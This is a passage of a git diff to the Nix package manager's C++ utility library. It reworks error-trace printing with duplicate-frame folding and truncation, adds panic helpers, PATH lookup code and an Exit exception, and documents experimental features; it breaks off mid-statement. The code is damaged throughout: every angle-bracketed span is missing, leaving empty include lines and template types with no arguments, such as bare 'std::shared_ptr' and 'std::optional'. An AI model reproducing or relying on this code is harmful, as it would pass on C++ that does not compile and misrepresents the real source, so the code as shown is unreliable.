-150,6 +132,98 @@ static std::string indent(std::string_view indentFirst, std::string_view indentR return res; } +/** + * A development aid for finding missing positions, to improve error messages. Example use: + * + * _NIX_EVAL_SHOW_UNKNOWN_LOCATIONS=1 _NIX_TEST_ACCEPT=1 make tests/lang.sh.test + * git diff -U20 tests + * + */ +static bool printUnknownLocations = getEnv("_NIX_EVAL_SHOW_UNKNOWN_LOCATIONS").has_value(); + +/** + * Print a position, if it is known. + * + * @return true if a position was printed. + */ +static bool printPosMaybe(std::ostream & oss, std::string_view indent, const std::shared_ptr & pos) { + bool hasPos = pos && *pos; + if (hasPos) { + oss << indent << ANSI_BLUE << "at " ANSI_WARNING << *pos << ANSI_NORMAL << ":"; + + if (auto loc = pos->getCodeLines()) { + printCodeLines(oss, "", *pos, *loc); + oss << "\n"; + } + } else if (printUnknownLocations) { + oss << "\n" << indent << ANSI_BLUE << "at " ANSI_RED << "UNKNOWN LOCATION" << ANSI_NORMAL << "\n"; + } + return hasPos; +} + +static void printTrace( + std::ostream & output, + const std::string_view & indent, + size_t & count, + const Trace & trace) +{ + output << "\n" << "… " << trace.hint.str() << "\n"; + + if (printPosMaybe(output, indent, trace.pos)) + count++; +} + +void printSkippedTracesMaybe( + std::ostream & output, + const std::string_view & indent, + size_t & count, + std::vector & skippedTraces, + std::set tracesSeen) +{ + if (skippedTraces.size() > 0) { + // If we only skipped a few frames, print them out normally; + // messages like "1 duplicate frames omitted" aren't helpful. + if (skippedTraces.size() <= 5) { + for (auto & trace : skippedTraces) { + printTrace(output, indent, count, trace); + } + } else { + output << "\n" << ANSI_WARNING "(" << skippedTraces.size() << " duplicate frames omitted)" ANSI_NORMAL << "\n"; + // Clear the set of "seen" traces after printing a chunk of + // `duplicate frames omitted`. + // + // Consider a mutually recursive stack trace with: + // - 10 entries of A + // - 10 entries of B + // - 10 entries of A + // + // If we don't clear `tracesSeen` here, we would print output like this: + // - 1 entry of A + // - (9 duplicate frames omitted) + // - 1 entry of B + // - (19 duplicate frames omitted) + // + // This would obscure the control flow, which went from A, + // to B, and back to A again. + // + // In contrast, if we do clear `tracesSeen`, the output looks like this: + // - 1 entry of A + // - (9 duplicate frames omitted) + // - 1 entry of B + // - (9 duplicate frames omitted) + // - 1 entry of A + // - (9 duplicate frames omitted) + // + // See: `tests/functional/lang/eval-fail-mutual-recursion.nix` + tracesSeen.clear(); + } + } + // We've either printed each trace in `skippedTraces` normally, or + // printed a chunk of `duplicate frames omitted`. Either way, we've + // processed these traces and can clear them. + skippedTraces.clear(); +} + std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool showTrace) { std::string prefix; @@ -163,7 +237,10 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s break; } case Verbosity::lvlWarn: { - prefix = ANSI_WARNING "warning"; + if (einfo.isFromExpr) + prefix = ANSI_WARNING "evaluation warning"; + else + prefix = ANSI_WARNING "warning"; break; } case Verbosity::lvlInfo: { @@ -198,39 +275,150 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s std::ostringstream oss; - auto noSource = ANSI_ITALIC " (source not available)" ANSI_NORMAL "\n"; + /* + * Traces + * ------ + * + * The semantics of traces is a bit weird. We have only one option to + * print them and to make them verbose (--show-trace). In the code they + * are always collected, but they are not printed by default. The code + * also collects more traces when the option is on. This means that there + * is no way to print the simplified traces at all. + * + * I (layus) designed the code to attach positions to a restricted set of + * messages. This means that we have a lot of traces with no position at + * all, including most of the base error messages. For example "type + * error: found a string while a set was expected" has no position, but + * will come with several traces detailing it's precise relation to the + * closest know position. This makes erroring without printing traces + * quite useless. + * + * This is why I introduced the idea to always print a few traces on + * error. The number 3 is quite arbitrary, and was selected so as not to + * clutter the console on error. For the same reason, a trace with an + * error position takes more space, and counts as two traces towards the + * limit. + * + * The rest is truncated, unless --show-trace is passed. This preserves + * the same bad semantics of --show-trace to both show the trace and + * augment it with new data. Not too sure what is the best course of + * action. + * + * The issue is that it is fundamentally hard to provide a trace for a + * lazy language. The trace will only cover the current spine of the + * evaluation, missing things that have been evaluated before. For + * example, most type errors are hard to inspect because there is not + * trace for the faulty value. These errors should really print the faulty + * value itself. + * + * In function calls, the --show-trace flag triggers extra traces for each + * function invocation. These work as scopes, allowing to follow the + * current spine of the evaluation graph. Without that flag, the error + * trace should restrict itself to a restricted prefix of that trace, + * until the first scope. If we ever get to such a precise error + * reporting, there would be no need to add an arbitrary limit here. We + * could always print the full trace, and it would just be small without + * the flag. + * + * One idea I had is for XxxError.addTrace() to perform nothing if one + * scope has already been traced. Alternatively, we could stop here when + * we encounter such a scope instead of after an arbitrary number of + * traces. This however requires to augment traces with the notion of + * "scope". + * + * This is particularly visible in code like evalAttrs(...) where we have + * to make a decision between the two following options. + * + * ``` long traces + * inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v, const Pos & pos, std::string_view errorCtx) + * { + * try { + * e->eval(*this, env, v); + * if (v.type() != nAttrs) + * error("expected a set but found %1%", v); + * } catch (Error & e) { + * e.addTrace(pos, errorCtx); + * throw; + * } + * } + * ``` + * + * ``` short traces + * inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v, const Pos & pos, std::string_view errorCtx) + * { + * e->eval(*this, env, v); + * try { + * if (v.type() != nAttrs) + * error("expected a set but found %1%", v); + * } catch (Error & e) { + * e.addTrace(pos, errorCtx); + * throw; + * } + * } + * ``` + * + * The second example can be rewritten more concisely, but kept in this + * form to highlight the symmetry. The first option adds more information, + * because whatever caused an error down the line, in the generic eval + * function, will get annotated with the code location that uses and + * required it. The second option is less verbose, but does not provide + * any context at all as to where and why a failing value was required. + * + * Scopes would fix that, by adding context only when --show-trace is + * passed, and keeping the trace terse otherwise. + * + */ + + // Enough indent to align with with the `... ` + // prepended to each element of the trace + auto ellipsisIndent = " "; + + if (!einfo.traces.empty()) { + // Stack traces seen since we last printed a chunk of `duplicate frames + // omitted`. + std::set tracesSeen; + // A consecutive sequence of stack traces that are all in `tracesSeen`. + std::vector skippedTraces; + size_t count = 0; + bool truncate = false; - // traces - if (showTrace && !einfo.traces.empty()) { for (const auto & trace : einfo.traces) { - oss << "\n" << "… " << trace.hint.str() << "\n"; + if (trace.hint.str().empty()) continue; - if (trace.pos) { - oss << "\n" << ANSI_BLUE << "at " ANSI_WARNING << *trace.pos << ANSI_NORMAL << ":"; + if (!showTrace && count > 3) { + truncate = true; + } - if (auto loc = trace.pos->getCodeLines()) { - oss << "\n"; - printCodeLines(oss, "", *trace.pos, *loc); - oss << "\n"; - } else - oss << noSource; + if (!truncate || trace.print == TracePrint::Always) { + + if (tracesSeen.count(trace)) { + skippedTraces.push_back(trace); + continue; + } + + tracesSeen.insert(trace); + + printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); + + count++; + + printTrace(oss, ellipsisIndent, count, trace); } } + + + printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); + + if (truncate) { + oss << "\n" << ANSI_WARNING "(stack trace truncated; use '--show-trace' to show the full, detailed trace)" ANSI_NORMAL << "\n"; + } + oss << "\n" << prefix; } oss << einfo.msg << "\n"; - if (einfo.errPos) { - oss << "\n" << ANSI_BLUE << "at " ANSI_WARNING << *einfo.errPos << ANSI_NORMAL << ":"; - - if (auto loc = einfo.errPos->getCodeLines()) { - oss << "\n"; - printCodeLines(oss, "", *einfo.errPos, *loc); - oss << "\n"; - } else - oss << noSource; - } + printPosMaybe(oss, "", einfo.pos); auto suggestions = einfo.suggestions.trim(); if (!suggestions.suggestions.empty()) { @@ -243,4 +431,37 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s return out; } + +/** Write to stderr in a robust and minimal way, considering that the process + * may be in a bad state. + */ +static void writeErr(std::string_view buf) +{ + while (!buf.empty()) { + auto n = write(STDERR_FILENO, buf.data(), buf.size()); + if (n < 0) { + if (errno == EINTR) continue; + abort(); + } + buf = buf.substr(n); + } +} + +void panic(std::string_view msg) +{ + writeErr("\n\n" ANSI_RED "terminating due to unexpected unrecoverable internal error: " ANSI_NORMAL ); + writeErr(msg); + writeErr("\n"); + abort(); +} + +void panic(const char * file, int line, const char * func) +{ + char buf[512]; + int n = snprintf(buf, sizeof(buf), "Unexpected condition in %s at %s:%d", func, file, line); + if (n < 0) + panic("Unexpected condition and could not format error message"); + panic(std::string_view(buf, std::min(static_cast(sizeof(buf)), n))); +} + } diff --git a/src/libutil/error.hh b/src/libutil/error.hh index c3bb8c0df..58d902622 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -1,47 +1,34 @@ #pragma once +/** + * @file + * + * @brief This file defines two main structs/classes used in nix error handling. + * + * ErrorInfo provides a standard payload of error information, with conversion to string + * happening in the logger rather than at the call site. + * + * BaseError is the ancestor of nix specific exceptions (and Interrupted), and contains + * an ErrorInfo. + * + * ErrorInfo structs are sent to the logger as part of an exception, or directly with the + * logError or logWarning macros. + * See libutil/tests/logging.cc for usage examples. + */ #include "suggestions.hh" -#include "ref.hh" -#include "types.hh" #include "fmt.hh" #include #include #include -#include #include #include #include #include -/* Before 4.7, gcc's std::exception uses empty throw() specifiers for - * its (virtual) destructor and what() in c++11 mode, in violation of spec - */ -#ifdef __GNUC__ -#if __GNUC__ < 4 || (__GNUC__ == 4 && __GNUC_MINOR__ < 7) -#define EXCEPTION_NEEDS_THROW_SPEC -#endif -#endif - namespace nix { -/* - - This file defines two main structs/classes used in nix error handling. - - ErrorInfo provides a standard payload of error information, with conversion to string - happening in the logger rather than at the call site. - - BaseError is the ancestor of nix specific exceptions (and Interrupted), and contains - an ErrorInfo. - - ErrorInfo structs are sent to the logger as part of an exception, or directly with the - logError or logWarning macros. - - See libutil/tests/logging.cc for usage examples. - - */ typedef enum { lvlError = 0, @@ -54,45 +41,57 @@ typedef enum { lvlVomit } Verbosity; -// the lines of code surrounding an error. +/** + * The lines of code surrounding an error. + */ struct LinesOfCode { std::optional prevLineOfCode; std::optional errLineOfCode; std::optional nextLineOfCode; }; -/* An abstract type that represents a location in a source file. */ -struct AbstractPos -{ - uint32_t line = 0; - uint32_t column = 0; - - /* Return the contents of the source file. */ - virtual std::optional getSource() const - { return std::nullopt; }; - - virtual void print(std::ostream & out) const = 0; - - std::optional getCodeLines() const; -}; - -std::ostream & operator << (std::ostream & str, const AbstractPos & pos); +struct Pos; void printCodeLines(std::ostream & out, const std::string & prefix, - const AbstractPos & errPos, + const Pos & errPos, const LinesOfCode & loc); -struct Trace { - std::shared_ptr pos; - hintformat hint; +/** + * When a stack frame is printed. + */ +enum struct TracePrint { + /** + * The default behavior; always printed when `--show-trace` is set. + */ + Default, + /** Always printed. Produced by `builtins.addErrorContext`. */ + Always, }; +struct Trace { + std::shared_ptr pos; + HintFmt hint; + TracePrint print = TracePrint::Default; +}; + +inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs); + struct ErrorInfo { Verbosity level; - hintformat msg; - std::shared_ptr errPos; + HintFmt msg; + std::shared_ptr pos; std::list traces; + /** + * Some messages are generated directly by expressions; notably `builtins.warn`, `abort`, `throw`. + * These may be rendered differently, so that users can distinguish them. + */ + bool isFromExpr = false; + + /** + * Exit status. + */ + unsigned int status = 1; Suggestions suggestions; @@ -101,36 +100,45 @@ struct ErrorInfo { std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool showTrace); -/* BaseError should generally not be caught, as it has Interrupted as - a subclass. Catch Error instead. */ +/** + * BaseError should generally not be caught, as it has Interrupted as + * a subclass. Catch Error instead. + */ class BaseError : public std::exception { protected: mutable ErrorInfo err; + /** + * Cached formatted contents of `err.msg`. + */ mutable std::optional what_; + /** + * Format `err.msg` and set `what_` to the resulting value. + */ const std::string & calcWhat() const; public: - unsigned int status = 1; // exit status + BaseError(const BaseError &) = default; + BaseError& operator=(const BaseError &) = default; + BaseError& operator=(BaseError &&) = default; template BaseError(unsigned int status, const Args & ... args) - : err { .level = lvlError, .msg = hintfmt(args...) } - , status(status) + : err { .level = lvlError, .msg = HintFmt(args...), .status = status } { } template explicit BaseError(const std::string & fs, const Args & ... args) - : err { .level = lvlError, .msg = hintfmt(fs, args...) } + : err { .level = lvlError, .msg = HintFmt(fs, args...) } { } template BaseError(const Suggestions & sug, const Args & ... args) - : err { .level = lvlError, .msg = hintfmt(args...), .suggestions = sug } + : err { .level = lvlError, .msg = HintFmt(args...), .suggestions = sug } { } - BaseError(hintformat hint) + BaseError(HintFmt hint) : err { .level = lvlError, .msg = hint } { } @@ -142,25 +150,40 @@ public: : err(e) { } -#ifdef EXCEPTION_NEEDS_THROW_SPEC - ~BaseError() throw () { }; - const char * what() const throw () { return calcWhat().c_str(); } -#else - const char * what() const noexcept override { return calcWhat().c_str(); } -#endif + /** The error message without "error: " prefixed to it. */ + std::string message() { + return err.msg.str(); + } + const char * what() const noexcept override { return calcWhat().c_str(); } const std::string & msg() const { return calcWhat(); } const ErrorInfo & info() const { calcWhat(); return err; } - template - void addTrace(std::shared_ptr && e, const std::string & fs, const Args & ... args) + void withExitStatus(unsigned int status) { - addTrace(std::move(e), hintfmt(fs, args...)); + err.status = status; } - void addTrace(std::shared_ptr && e, hintformat hint); + void atPos(std::shared_ptr pos) { + err.pos = pos; + } + + void pushTrace(Trace trace) + { + err.traces.push_front(trace); + } + + template + void addTrace(std::shared_ptr && e, std::string_view fs, const Args & ... args) + { + addTrace(std::move(e), HintFmt(std::string(fs), args...)); + } + + void addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print = TracePrint::Default); bool hasTrace() const { return !err.traces.empty(); } + + const ErrorInfo & info() { return err; }; }; #define MakeError(newClass, superClass) \ @@ -174,20 +197,50 @@ MakeError(Error, BaseError); MakeError(UsageError, Error); MakeError(UnimplementedError, Error); -class SysError : public Error +/** + * To use in catch-blocks. + */ +MakeError(SystemError, Error); + +/** + * POSIX system error, created using `errno`, `strerror` friends. + * + * Throw this, but prefer not to catch this, and catch `SystemError` + * instead. This allows implementations to freely switch between this + * and `windows::WinError` without breaking catch blocks. + * + * However, it is permissible to catch this and rethrow so long as + * certain conditions are not met (e.g. to catch only if `errNo = + * EFooBar`). In that case, try to also catch the equivalent `windows::WinError` + * code. + * + * @todo Rename this to `PosixError` or similar. At this point Windows + * support is too WIP to justify the code churn, but if it is finished + * then a better identifier becomes moe worth it. + */ +class SysError : public SystemError { public: int errNo; + /** + * Construct using the explicitly-provided error number. `strerror` + * will be used to try to add additional information to the message. + */ template - SysError(int errNo_, const Args & ... args) - : Error("") + SysError(int errNo, const Args & ... args) + : SystemError(""), errNo(errNo) { - errNo = errNo_; - auto hf = hintfmt(args...); - err.msg = hintfmt("%1%: %2%", normaltxt(hf.str()), strerror(errNo)); + auto hf = HintFmt(args...); + err.msg = HintFmt("%1%: %2%", Uncolored(hf.str()), strerror(errNo)); } + /** + * Construct using the ambient `errno`. + * + * Be sure to not perform another `errno`-modifying operation before + * calling this constructor! + */ template SysError(const Args & ... args) : SysError(errno, args ...) @@ -195,4 +248,49 @@ public: } }; +#ifdef _WIN32 +namespace windows { + class WinError; +} +#endif + +/** + * Convenience alias for when we use a `errno`-based error handling + * function on Unix, and `GetLastError()`-based error handling on on + * Windows. + */ +using NativeSysError = +#ifdef _WIN32 + windows::WinError +#else + SysError +#endif + ; + +/** + * Throw an exception for the purpose of checking that exception + * handling works; see 'initLibUtil()'. + */ +void throwExceptionSelfCheck(); + +/** + * Print a message and abort(). + */ +[[noreturn]] +void panic(std::string_view msg); + +/** + * Print a basic error message with source position and abort(). + * Use the unreachable() macro to call this. + */ +[[noreturn]] +void panic(const char * file, int line, const char * func); + +/** + * Print a basic error message with source position and abort(). + * + * @note: This assumes that the logger is operational + */ +#define unreachable() (::nix::panic(__FILE__, __LINE__, __func__)) + } diff --git a/src/libutil/executable-path.cc b/src/libutil/executable-path.cc new file mode 100644 index 000000000..da71088e7 --- /dev/null +++ b/src/libutil/executable-path.cc @@ -0,0 +1,95 @@ +#include "environment-variables.hh" +#include "executable-path.hh" +#include "strings-inline.hh" +#include "util.hh" +#include "file-path-impl.hh" + +namespace nix { + +namespace fs = std::filesystem; + +constexpr static const OsStringView path_var_separator{ + &ExecutablePath::separator, + 1, +}; + +ExecutablePath ExecutablePath::load() +{ + // "If PATH is unset or is set to null, the path search is + // implementation-defined." + // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + return ExecutablePath::parse(getEnvOs(OS_STR("PATH")).value_or(OS_STR(""))); +} + +ExecutablePath ExecutablePath::parse(const OsString & path) +{ + auto strings = path.empty() ? (std::list{}) + : basicSplitString, OsString::value_type>(path, path_var_separator); + + std::vector ret; + ret.reserve(strings.size()); + + std::transform( + std::make_move_iterator(strings.begin()), + std::make_move_iterator(strings.end()), + std::back_inserter(ret), + [](auto && str) { + return fs::path{ + str.empty() + // "A zero-length prefix is a legacy feature that + // indicates the current working directory. It + // appears as two adjacent characters + // ("::"), as an initial preceding the rest + // of the list, or as a trailing following + // the rest of the list." + // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + ? OS_STR(".") + : std::move(str), + }; + }); + + return {ret}; +} + +OsString ExecutablePath::render() const +{ + std::vector path2; + for (auto & p : directories) + path2.push_back(p.native()); + return basicConcatStringsSep(path_var_separator, path2); +} + +std::optional +ExecutablePath::findName(const OsString & exe, std::function isExecutable) const +{ + // "If the pathname being sought contains a , the search + // through the path prefixes shall not be performed." + // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + assert(OsPathTrait::rfindPathSep(exe) == exe.npos); + + for (auto & dir : directories) { + auto candidate = dir / exe; + if (isExecutable(candidate)) + return std::filesystem::canonical(candidate); + } + + return std::nullopt; +} + +fs::path ExecutablePath::findPath(const fs::path & exe, std::function isExecutable) const +{ + // "If the pathname being sought contains a , the search + // through the path prefixes shall not be performed." + // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + if (exe.filename() == exe) { + auto resOpt = findName(exe, isExecutable); + if (resOpt) + return *resOpt; + else + throw ExecutableLookupError("Could not find executable '%s'", exe.string()); + } else { + return exe; + } +} + +} // namespace nix diff --git a/src/libutil/executable-path.hh b/src/libutil/executable-path.hh new file mode 100644 index 000000000..f46d5e212 --- /dev/null +++ b/src/libutil/executable-path.hh @@ -0,0 +1,77 @@ +#pragma once +///@file + +#include "file-system.hh" + +namespace nix { + +MakeError(ExecutableLookupError, Error); + +struct ExecutablePath +{ + std::vector directories; + + constexpr static const OsString::value_type separator = +#ifdef WIN32 + L';' +#else + ':' +#endif + ; + + /** + * Parse `path` into a list of paths. + * + * On Unix we split on `:`, on Windows we split on `;`. + * + * For Unix, this is according to the POSIX spec for `PATH`. + * https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + */ + static ExecutablePath parse(const OsString & path); + + /** + * Load the `PATH` environment variable and `parse` it. + */ + static ExecutablePath load(); + + /** + * Opposite of `parse` + */ + OsString render() const; + + /** + * Search for an executable. + * + * For Unix, this is according to the POSIX spec for `PATH`. + * https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03 + * + * @param exe This must just be a name, and not contain any `/` (or + * `\` on Windows). in case it does, per the spec no lookup should + * be perfomed, and the path (it is not just a file name) as is. + * This is the caller's respsonsibility. + * + * This is a pure function, except for the default `isExecutable` + * argument, which uses the ambient file system to check if a file is + * executable (and exists). + * + * @return path to a resolved executable + */ + std::optional findName( + const OsString & exe, + std::function isExecutableFile = isExecutableFileAmbient) const; + + /** + * Like the `findName` but also allows a file path as input. + * + * This implements the full POSIX spec: if the path is just a name, + * it searches like the above. Otherwise, it returns the path as is. + * If (in the name case) the search fails, an exception is thrown. + */ + std::filesystem::path findPath( + const std::filesystem::path & exe, + std::function isExecutable = isExecutableFileAmbient) const; + + bool operator==(const ExecutablePath &) const = default; +}; + +} // namespace nix diff --git a/src/libutil/exit.cc b/src/libutil/exit.cc new file mode 100644 index 000000000..73cd8b04e --- /dev/null +++ b/src/libutil/exit.cc @@ -0,0 +1,7 @@ +#include "exit.hh" + +namespace nix { + +Exit::~Exit() {} + +} diff --git a/src/libutil/exit.hh b/src/libutil/exit.hh new file mode 100644 index 000000000..55f33e62f --- /dev/null +++ b/src/libutil/exit.hh @@ -0,0 +1,19 @@ +#pragma once + +#include + +namespace nix { + +/** + * Exit the program with a given exit code. + */ +class Exit : public std::exception +{ +public: + int status; + Exit() : status(0) { } + explicit Exit(int status) : status(status) { } + virtual ~Exit(); +}; + +} diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index e0902971e..a0c955816 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -1,32 +1,326 @@ #include "experimental-features.hh" +#include "fmt.hh" #include "util.hh" #include "nlohmann/json.hpp" namespace nix { -std::map stringifiedXpFeatures = { - { Xp::CaDerivations, "ca-derivations" }, - { Xp::ImpureDerivations, "impure-derivations" }, - { Xp::Flakes, "flakes" }, - { Xp::NixCommand, "nix-command" }, - { Xp::RecursiveNix, "recursive-nix" }, - { Xp::NoUrlLiterals, "no-url-literals" }, - { Xp::FetchClosure, "fetch-closure" }, - { Xp::ReplFlake, "repl-flake" }, - { Xp::AutoAllocateUids, "auto-allocate-uids" }, - { Xp::Cgroups, "cgroups" }, +struct ExperimentalFeatureDetails +{ + ExperimentalFeature tag; + std::string_view name; + std::string_view description; + std::string_view trackingUrl; }; +/** + * If two different PRs both add an experimental feature, and we just + * used a number for this, we *woudln't* get merge conflict and the + * counter will be incremented once instead of twice, causing a build + * failure. + * + * By instead defining this instead as 1 + the bottom experimental + * feature, we either have no issue at all if few features are not added + * at the end of the list, or a proper merge conflict if they are. + */ +constexpr size_t numXpFeatures = 1 + static_cast(Xp::PipeOperators); + +constexpr std::array xpFeatureDetails = {{ + { + .tag = Xp::CaDerivations, + .name = "ca-derivations", + .description = R"( + Allow derivations to be content-addressed in order to prevent + rebuilds when changes to the derivation do not result in changes to + the derivation's output. See + [__contentAddressed](@docroot@/language/advanced-attributes.md#adv-attr-__contentAddressed) + for details. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/35", + }, + { + .tag = Xp::ImpureDerivations, + .name = "impure-derivations", + .description = R"( + Allow derivations to produce non-fixed outputs by setting the + `__impure` derivation attribute to `true`. An impure derivation can + have differing outputs each time it is built. + + Example: + + ``` + derivation { + name = "impure"; + builder = /bin/sh; + __impure = true; # mark this derivation as impure + args = [ "-c" "read -n 10 random < /dev/random; echo $random > $out" ]; + system = builtins.currentSystem; + } + ``` + + Each time this derivation is built, it can produce a different + output (as the builder outputs random bytes to `$out`). Impure + derivations also have access to the network, and only fixed-output + or other impure derivations can rely on impure derivations. Finally, + an impure derivation cannot also be + [content-addressed](#xp-feature-ca-derivations). + + This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime). + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/42", + }, + { + .tag = Xp::Flakes, + .name = "flakes", + .description = R"( + Enable flakes. See the manual entry for [`nix + flake`](@docroot@/command-ref/new-cli/nix3-flake.md) for details. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/27", + }, + { + .tag = Xp::FetchTree, + .name = "fetch-tree", + .description = R"( + Enable the use of the [`fetchTree`](@docroot@/language/builtins.md#builtins-fetchTree) built-in function in the Nix language. + + `fetchTree` exposes a generic interface for fetching remote file system trees from different types of remote sources. + The [`flakes`](#xp-feature-flakes) feature flag always enables `fetch-tree`. + This built-in was previously guarded by the `flakes` experimental feature because of that overlap. + + Enabling just this feature serves as a "release candidate", allowing users to try it out in isolation. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/31", + }, + { + .tag = Xp::NixCommand, + .name = "nix-command", + .description = R"( + Enable the new `nix` subcommands. See the manual on + [`nix`](@docroot@/command-ref/new-cli/nix.md) for details. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/28", + }, + { + .tag = Xp::GitHashing, + .name = "git-hashing", + .description = R"( + Allow creating (content-addressed) store objects which are hashed via Git's hashing algorithm. + These store objects will not be understandable by older versions of Nix. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/41", + }, + { + .tag = Xp::RecursiveNix, + .name = "recursive-nix", + .description = R"( + Allow derivation builders to call Nix, and thus build derivations + recursively. + + Example: + + ``` + with import {}; + + runCommand "foo" + { + buildInputs = [ nix jq ]; + NIX_PATH = "nixpkgs=${}"; + } + '' + hello=$(nix-build -E '(import {}).hello.overrideDerivation (args: { name = "recursive-hello"; })') + + mkdir -p $out/bin + ln -s $hello/bin/hello $out/bin/hello + '' + ``` + + An important restriction on recursive builders is disallowing + arbitrary substitutions. For example, running + + ``` + nix-store -r /nix/store/kmwd1hq55akdb9sc7l3finr175dajlby-hello-2.10 + ``` + + in the above `runCommand` script would be disallowed, as this could + lead to derivations with hidden dependencies or breaking + reproducibility by relying on the current state of the Nix store. An + exception would be if + `/nix/store/kmwd1hq55akdb9sc7l3finr175dajlby-hello-2.10` were + already in the build inputs or built by a previous recursive Nix + call. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/47", + }, + { + .tag = Xp::NoUrlLiterals, + .name = "no-url-literals", + .description = R"( + Disallow unquoted URLs as part of the Nix language syntax. The Nix + language allows for URL literals, like so: + + ``` + $ nix repl + Welcome to Nix 2.15.0. Type :? for help. + + nix-repl> http://foo + "http://foo" + ``` + + But enabling this experimental feature will cause the Nix parser to + throw an error when encountering a URL literal: + + ``` + $ nix repl --extra-experimental-features 'no-url-literals' + Welcome to Nix 2.15.0. Type :? for help. + + nix-repl> http://foo + error: URL literals are disabled + + at «string»:1:1: + + 1| http://foo + | ^ + + ``` + + While this is currently an experimental feature, unquoted URLs are + being deprecated and their usage is discouraged. + + The reason is that, as opposed to path literals, URLs have no + special properties that distinguish them from regular strings, URLs + containing parameters have to be quoted anyway, and unquoted URLs + may confuse external tooling. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/44", + }, + { + .tag = Xp::FetchClosure, + .name = "fetch-closure", + .description = R"( + Enable the use of the [`fetchClosure`](@docroot@/language/builtins.md#builtins-fetchClosure) built-in function in the Nix language. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/40", + }, + { + .tag = Xp::AutoAllocateUids, + .name = "auto-allocate-uids", + .description = R"( + Allows Nix to automatically pick UIDs for builds, rather than creating + `nixbld*` user accounts. See the [`auto-allocate-uids`](@docroot@/command-ref/conf-file.md#conf-auto-allocate-uids) setting for details. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/34", + }, + { + .tag = Xp::Cgroups, + .name = "cgroups", + .description = R"( + Allows Nix to execute builds inside cgroups. See + the [`use-cgroups`](@docroot@/command-ref/conf-file.md#conf-use-cgroups) setting for details. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/36", + }, + { + .tag = Xp::DaemonTrustOverride, + .name = "daemon-trust-override", + .description = R"( + Allow forcing trusting or not trusting clients with + `nix-daemon`. This is useful for testing, but possibly also + useful for various experiments with `nix-daemon --stdio` + networking. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/38", + }, + { + .tag = Xp::DynamicDerivations, + .name = "dynamic-derivations", + .description = R"( + Allow the use of a few things related to dynamic derivations: + + - "text hashing" derivation outputs, so we can build .drv + files. + + - dependencies in derivations on the outputs of + derivations that are themselves derivations outputs. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/39", + }, + { + .tag = Xp::ParseTomlTimestamps, + .name = "parse-toml-timestamps", + .description = R"( + Allow parsing of timestamps in builtins.fromTOML. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/45", + }, + { + .tag = Xp::ReadOnlyLocalStore, + .name = "read-only-local-store", + .description = R"( + Allow the use of the `read-only` parameter in [local store](@docroot@/store/types/local-store.md) URIs. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/46", + }, + { + .tag = Xp::LocalOverlayStore, + .name = "local-overlay-store", + .description = R"( + Allow the use of [local overlay store](@docroot@/command-ref/new-cli/nix3-help-stores.md#local-overlay-store). + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/50", + }, + { + .tag = Xp::ConfigurableImpureEnv, + .name = "configurable-impure-env", + .description = R"( + Allow the use of the [impure-env](@docroot@/command-ref/conf-file.md#conf-impure-env) setting. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/37", + }, + { + .tag = Xp::MountedSSHStore, + .name = "mounted-ssh-store", + .description = R"( + Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesystem-mounted). + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/43", + }, + { + .tag = Xp::VerifiedFetches, + .name = "verified-fetches", + .description = R"( + Enables verification of git commit signatures through the [`fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) built-in. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/48", + }, + { + .tag = Xp::PipeOperators, + .name = "pipe-operators", + .description = R"( + Add `|>` and `<|` operators to the Nix language. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/55", + }, +}}; + +static_assert( + []() constexpr { + for (auto [index, feature] : enumerate(xpFeatureDetails)) + if (index != (size_t)feature.tag) + return false; + return true; + }(), + "array order does not match enum tag order"); + const std::optional parseExperimentalFeature(const std::string_view & name) { using ReverseXpMap = std::map; - static auto reverseXpMap = []() - { + static std::unique_ptr reverseXpMap = []() { auto reverseXpMap = std::make_unique(); - for (auto & [feature, name] : stringifiedXpFeatures) - (*reverseXpMap)[name] = feature; + for (auto & xpFeature : xpFeatureDetails) + 